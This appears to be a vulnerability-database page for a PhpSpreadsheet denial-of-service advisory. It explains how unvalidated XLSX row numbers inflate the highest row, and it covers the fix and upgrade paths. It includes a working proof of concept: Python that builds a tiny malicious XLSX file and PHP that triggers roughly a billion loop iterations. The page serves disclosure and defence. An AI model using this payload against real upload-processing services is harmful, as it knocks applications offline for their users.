PhpSpreadsheet CVE-2026-40902
HIGHSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Remote unauthenticated attacker uploads a file that reliably triggers CPU/memory exhaustion with low complexity; availability-only impact, no confidentiality or integrity effect.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.
Details
In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROWThis value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.
PoC
Step 1: Create the malicious XLSX file (~1.6KB)
import zipfile
import io
content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'
wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'
with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml', content_types)
zf.writestr('_rels/.rels', rels)
zf.writestr('xl/workbook.xml', workbook)
zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
zf.writestr('xl/worksheets/sheet1.xml', sheet)
print("Created dos_row.xlsx")Step 2: Load with PhpSpreadsheet (CPU exhaustion)
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999
// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
// CPU exhaustion
}Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.
Impact
- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using
getRowIterator()or usesgetHighestRow()as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
- Amplification: The ratio of input size to resource consumption is extreme - 1,580 bytes triggers nearly 1 billion iterations.
- Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.
Recommended Fix
Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:
// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];
// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
continue;
}The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.
AnalysisAI
CPU denial-of-service in the PHPOffice PhpSpreadsheet library (versions 2.0.0-2.1.15, 2.2.0-2.4.4, 3.3.0-3.10.4, and 4.0.0-5.6.0) allows remote attackers to hang application worker processes by uploading a ~1.6KB crafted XLSX file. The XLSX reader trusts the row number in a <row r="..."> attribute without bounding it against the 1,048,576 row limit, so a single <row r="999999999"/> element inflates the cached highest row and forces roughly one billion iterations (~144s CPU burn) whenever the application iterates rows or uses getHighestRow() as a loop bound. Publicly available exploit code exists (a full PoC in the GitHub Security Advisory); EPSS is low at 0.04% (12th percentile) and it is not in CISA KEV.
Technical ContextAI
The affected component is PhpSpreadsheet, the de-facto PHP library for reading and writing office spreadsheet formats, specifically its XLSX (SpreadsheetML/OOXML) reader. The root cause is CWE-400 (Uncontrolled Resource Consumption): in src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216, readRowAttributes() casts the XML r attribute directly to an integer ($rowIndex = (int) $row['r']) with no upper-bound check. That value propagates through setRowAttributes() into Worksheet::getRowDimension(), which sets cachedHighestRow = max(cachedHighestRow, $row) (Worksheet.php:1348). getHighestRow() then returns the attacker-controlled value, and RowIterator::resetEnd() (RowIterator.php:86) uses it as the default iteration end bound. Notably the equivalent column path is already validated against AddressRange::MAX_COLUMN_INT (line 161) and cell coordinates are validated in Coordinate::coordinateFromString() against MAX_ROW, so only the row-dimension attribute path bypasses the existing guardrails. The affected package is identified by CPE/purl pkg:composer/phpoffice_phpspreadsheet (Composer package phpoffice/phpspreadsheet).
RemediationAI
Vendor-released patch: upgrade to phpoffice/phpspreadsheet 5.7.0 (from the 4.x/5.x branch), 3.10.5 (from 3.x), 2.4.5 (from 2.2.x-2.4.x), or 2.1.16 (from 2.0.x-2.1.x) via composer update phpoffice/phpspreadsheet, matching your current major branch. The fix adds bounds validation in readRowAttributes() so row indices outside 1..AddressRange::MAX_ROW (1,048,576) are skipped, mirroring the existing column check. If you cannot patch immediately, compensating controls: enforce a strict PHP max_execution_time and per-request memory_limit on upload-processing workers so a runaway iteration is killed rather than hanging indefinitely (trade-off: legitimate very-large files may also be terminated); avoid calling getRowIterator()/getHighestRow() as unbounded loop bounds on untrusted files, and instead clamp the end row to a sane maximum before iterating; and where feasible, pre-scan uploaded XLSX worksheet XML to reject <row r="..."> values above 1,048,576 before handing the file to PhpSpreadsheet. Advisory reference: https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-7c6m-4442-2x6m